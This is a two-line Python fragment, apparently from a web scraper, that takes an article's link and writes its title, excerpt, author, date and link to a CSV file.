link = article.find("a")["href"]
csv_writer.writerow([title, excerpt, author, date, link])